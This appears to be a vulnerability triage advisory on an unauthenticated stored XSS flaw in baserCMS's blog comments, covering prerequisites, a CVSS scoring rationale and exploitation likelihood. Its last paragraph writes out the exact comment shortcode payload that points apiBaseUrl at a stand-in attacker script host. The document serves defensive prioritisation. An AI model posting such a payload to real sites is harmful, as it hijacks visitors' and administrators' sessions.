baserCMS EUVD-2026-109081

Requires that the target baserCMS site (versions 5.0.0-5.3.1 or 5.4.0-5.4.1) has the bc-blog comment feature enabled and renders visitor comments on article pages; no account or authentication is needed to submit the malicious comment (PR:N). The attacker must host a reachable JavaScript file to reference via the shortcode's apiBaseUrl argument. Execution is not automatic on submission - per UI:R, a subsequent victim (another visitor, or an administrator, to achieve session compromise) must open the specific article displaying the comment. Limiting factors defenders can rely on: any comment moderation/approval workflow that prevents unapproved comments from being rendered would block the trigger, and the high-impact (admin takeover) outcome depends on an administrator actually viewing the poisoned article. Note that standard HTML escaping of the comment does NOT limit this, because shortcode expansion occurs after HTML rendering.

This is a genuine priority within deployments of baserCMS, not an inflated high-CVSS score. The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N = 7.1 High) is internally consistent with the mechanism: a network-reachable, low-complexity injection requiring no attacker privileges (PR:N - anyone on the internet can post a comment), but gated by UI:R because a second party (another visitor or, most damagingly, an administrator) must open the article to trigger execution. The high confidentiality impact (C:H) reflects theft of the authenticated administrator session/origin context; I:L captures limited integrity impact via injected content such as the Mail.getForm contact form, and A:N is appropriate as availability is unaffected. On the exploitation-probability axis the signals are incomplete and partly conflicting: no EPSS score is provided and the CVE is NOT on CISA KEV, so there is no evidence of active in-the-wild exploitation; however, the vuln.today decision label is 'this_week' and a fully detailed, reporter-verified proof-of-concept is published inside the GitHub Security Advisory (verified on a clean baserCMS 5.4.1 instance). The absence of EPSS/KEV data means widespread automated exploitation cannot be confirmed or ruled out from the inputs. Net assessment: a real, patch-this-week issue - unauthenticated stored XSS that can hand over an admin session - but its overall real-world impact is bounded by the UI:R requirement (an admin must view the poisoned article) and by the relatively modest deployment footprint of baserCMS rather than by exploit difficulty.

An unauthenticated attacker posts a blog comment on any article containing the shortcode [BcBaser.getGoogleMaps apiKey|k|apiBaseUrl|//attacker/xss.js?], pointing apiBaseUrl at an attacker-hosted script. Although the comment body is HTML-escaped on output, shortcode expansion runs after HTML rendering over the whole page, so the value is emitted as <script src=...> and executes on the site's origin when any visitor - or an administrator - later opens that article, enabling session/account takeover. A working, reporter-verified proof-of-concept for this exact chain is published in the vendor's GitHub Security Advisory.